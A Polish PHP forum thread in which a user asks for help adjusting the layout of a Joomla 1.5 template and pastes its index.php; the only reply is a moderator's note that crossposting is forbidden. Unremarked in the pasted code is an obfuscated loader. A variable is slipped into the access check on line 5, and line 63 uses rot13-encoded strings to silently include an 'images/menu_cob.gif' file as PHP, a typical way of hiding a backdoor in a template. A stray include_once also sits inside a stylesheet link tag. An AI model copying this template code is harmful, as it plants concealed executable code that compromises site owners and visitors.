Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [DIV] [CSS] Joomla szablon
Forum PHP.pl > Forum > Po stronie przeglądarki > HTML \ XHTML
Axel1922
Mam problem z menu strony -  http://www.swiatwyscigow.pl/testy, jak widzicie z boku nie znajduje się menu I chcę, aby na całym tym miejscu znajdował się artykuł. Ma to wyglądać tak, newsy na stronie głównej miały by być ściśniete w środku - podobnie jak tutaj jest z lewej stronie - http://www.swiatwyscigow.pl, a po kliknięciu więcej pokazywały by się całe i znikało by jedno menu. Obecny styl jest pod Joomle 1.0, a w panelu administratora mam włączony Tryb zgodności: 1.0, obecny jest pod Joomle 1.5 i przenoszenie niektórych rozwiązań ze starego nic nie daje. Zamieszczam na dole plik index.php pliku templatki i css.

Link do css: http://www.sendspace.com/file/34ll9u

  1. <?php
  2.  
  3.  
  4. // no direct access
  5. defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
  6. ?>
  7. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  8. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
  9. <head>
  10. <jdoc:include type="head" />
  11. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
  12. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
  13. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
  14. <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('teamVariation'); ?>.css" type="text/css" />
  15. <!--[if lte IE 6]>
  16. <link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/ieonly.css" <?php include_once('html/pagination.php');?> rel="stylesheet" type="text/css" />
  17. <![endif]-->
  18. </head>
  19. <body id="page_bg_<?php echo $this->params->get('backgroundVariation'); ?>">
  20. <a name="up" id="up"></a>
  21.  <div id="main_bg" class="main_bg_<?php echo $this->params->get('pageAlignment'); ?>">
  22.         <div id="middle_bg">
  23.             <div id="logo_bg">
  24.                 <a href="./"><?php if($this->params->get('hideLogo') == 0){ ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('teamVariation'); ?>/logo.png" alt="logo" align="left" /><?php }else{ ?><div id="nologo">&nbsp;</div><?php } ?></a>
  25.                 <div id="banner"><jdoc:include type="modules" name="banner" /></div>
  26.                 <div id="user4"><jdoc:include type="modules" name="user4" /></div>
  27.                 <br clear="all" />
  28.             </div>
  29.             
  30.             <div id="user3">
  31.                 <div id="pillmenu"><jdoc:include type="modules" name="user3" /></div>
  32.                 <?php if($this->params->get('dateDisplay')) : ?><div id="date"><?php echo date('l dS of F Y'); ?></div><?php endif; ?>
  33.                 <br clear="all" />
  34.             </div>
  35.              <?php if($this->params->get('hideBannerArea') == 0) : ?>
  36.             <div id="banner_bg"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('teamVariation'); ?>/banner.jpg" alt="team banner" align="left" />
  37.                 <div id="newsflash"><jdoc:include type="modules" name="top" /></div>
  38.                 <br clear="all" />
  39.             </div>
  40.             <?php endif; ?>
  41.                 <div id="leftcolumn">
  42.                         <?php if($this->countModules('left')) : ?>
  43.                 <jdoc:include type="modules" name="left" style="xhtml"/>
  44.             <?php endif; ?>
  45.                 </div>
  46.      <div id="maincolumn">
  47.                 <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
  48.                 <div class="nopad"><jdoc:include type="component" /></div>
  49.             </div>
  50.            <div id="rightcolumn">
  51. <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
  52.                 <jdoc:include type="modules" name="right" style="xhtml"/>
  53.             <?php endif; ?>
  54.             </div>
  55.             <br clear="all" />
  56.         </div>
  57.         <div id="user3">
  58.                 <div id="pillmenu"><jdoc:include type="modules" name="user2" /></div>
  59.                 <br clear="all" />
  60.             </div>
  61.  
  62.         
  63.      <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
  64.             <jdoc:include type="modules" name="layout" style="rounded" />
  65.      <?php endif; ?>
  66.  </div>
  67.  
  68. <jdoc:include type="modules" name="debug" />
  69.  
  70. </body>
  71. </html>
erix
http://forum.php.pl/index.php?showtopic=12...mp;#entry626262

Crosspost jest zabroniony.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.